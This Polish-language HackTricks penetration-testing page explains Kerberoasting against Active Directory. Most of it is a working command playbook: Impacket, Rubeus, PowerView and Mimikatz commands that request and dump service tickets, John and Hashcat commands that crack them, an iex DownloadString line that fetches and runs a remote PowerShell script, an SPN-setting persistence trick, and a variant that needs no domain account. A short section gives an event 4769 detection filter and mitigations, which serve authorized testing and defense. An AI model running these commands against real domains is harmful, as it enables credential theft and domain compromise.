Kerberoast

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Kerberoast

Kerberoasting koncentruje się na pozyskiwaniu biletów TGS, szczególnie tych związanych z usługami działającymi na kontach użytkowników w Active Directory (AD), wyłączając konta komputerowe. Szyfrowanie tych biletów wykorzystuje klucze pochodzące z hasła użytkownika, co umożliwia offlineowe łamanie poświadczeń. Użycie konta użytkownika jako usługi jest wskazane przez niepustą właściwość "ServicePrincipalName".

Do wykonania Kerberoastingu niezbędne jest konto domeny zdolne do żądania biletów TGS; jednakże ten proces nie wymaga specjalnych uprawnień, co czyni go dostępnym dla każdego z ważnymi poświadczeniami domeny.

Kluczowe punkty:

  • Kerberoasting celuje w bilet TGS dla usług na kontach użytkowników w AD.

  • Bilety szyfrowane kluczami z haseł użytkowników mogą być łamane offline.

  • Usługa jest identyfikowana przez niepustą właściwość ServicePrincipalName.

  • Nie są wymagane specjalne uprawnienia, wystarczą ważne poświadczenia domeny.

Atak

Narzędzia do Kerberoastingu zazwyczaj żądają szyfrowania RC4 podczas ataku i inicjowania żądań TGS-REQ. Wynika to z faktu, że RC4 jest słabszy i łatwiejszy do złamania offline za pomocą narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256. Hasze RC4 (typ 23) zaczynają się od $krb5tgs$23$*, podczas gdy AES-256 (typ 18) zaczynają się od $krb5tgs$18$*.

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Wielofunkcyjne narzędzia obejmujące zrzut użytkowników podatnych na atak Kerberoast:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Wylicz użytkowników podatnych na atak Kerberoast

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Technika 1: Poproś o TGS i zapisz go z pamięci

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Technika 2: Automatyczne narzędzia

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

Podczas żądania TGS generowany jest Windows event 4769 - A Kerberos service ticket was requested.

Użyj Trickest, aby łatwo tworzyć i automatyzować workflows oparte na najbardziej zaawansowanych narzędziach społeczności na świecie. Otrzymaj dostęp już dziś:

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Trwałość

Jeśli masz wystarczające uprawnienia dla użytkownika, możesz go zrobić kerberoastable:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Możesz znaleźć przydatne narzędzia do ataków kerberoast tutaj: https://github.com/nidem/kerberoast

Jeśli napotkasz ten błąd z systemu Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Zbyt duży błąd zegara), oznacza to problem z lokalnym czasem, który należy zsynchronizować z kontrolerem domeny. Istnieje kilka opcji:

  • ntpdate <IP kontrolera domeny> - Przestarzałe od wersji Ubuntu 16.04

  • rdate -n <IP kontrolera domeny>

Złagodzenie

Ataki typu Kerberoasting mogą być przeprowadzane z dużym stopniem skrytości, jeśli są wykonalne. Aby wykryć tę aktywność, należy zwrócić uwagę na ID zdarzenia zabezpieczeń 4769, które wskazuje, że żądano biletu Kerberos. Jednak ze względu na wysoką częstotliwość tego zdarzenia, należy zastosować konkretne filtry, aby wyodrębnić podejrzane działania:

  • Nazwa usługi nie powinna być krbtgt, ponieważ jest to normalne żądanie.

  • Nazwy usług kończące się na $ powinny być wykluczone, aby uniknąć uwzględniania kont komputerowych używanych do usług.

  • Żądania z maszyn powinny być odfiltrowane poprzez wykluczenie nazw kont sformatowanych jako maszyna@domena.

  • Należy rozważyć jedynie udane żądania biletów, zidentyfikowane przez kod błędu '0x0'.

  • Najważniejsze, typ szyfrowania biletu powinien być 0x17, co często jest używane w atakach typu Kerberoasting.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Aby zmniejszyć ryzyko Kerberoastingu:

  • Upewnij się, że Hasła kont usług są trudne do odgadnięcia, zalecając długość powyżej 25 znaków.

  • Wykorzystaj Zarządzane konta usług, które oferują korzyści takie jak automatyczne zmiany hasła i delegowane zarządzanie nazwami usługodawców (SPN), zwiększając bezpieczeństwo przed tego rodzaju atakami.

Poprzez wdrożenie tych środków organizacje mogą znacząco zmniejszyć ryzyko związane z Kerberoastingiem.

Kerberoast bez konta domeny

We wrześniu 2022, nowy sposób eksploatacji systemu został ujawniony przez badacza o nazwie Charlie Clark, udostępniony poprzez jego platformę exploit.ph. Ta metoda umożliwia pozyskanie Biletów Usługi (ST) poprzez żądanie KRB_AS_REQ, co nie wymaga kontroli nad żadnym kontem Active Directory. W zasadzie, jeśli podmiot jest skonfigurowany w taki sposób, że nie wymaga wstępnej autoryzacji - scenariusz podobny do znanego w świecie cyberbezpieczeństwa jako atak AS-REP Roasting - ta cecha może być wykorzystana do manipulacji procesem żądania. Konkretnie, poprzez zmianę atrybutu sname w ciele żądania, system jest zmylany do wydania ST zamiast standardowego zaszyfrowanego Biletu Przyznawania Biletów (TGT).

Technika jest w pełni wyjaśniona w tym artykule: wpis na blogu Semperis.

Musisz podać listę użytkowników, ponieważ nie mamy ważnego konta do zapytania LDAP za pomocą tej techniki.

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Użyj Trickest, aby łatwo budować i automatyzować workflowy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności. Otrzymaj dostęp już dziś:

Last updated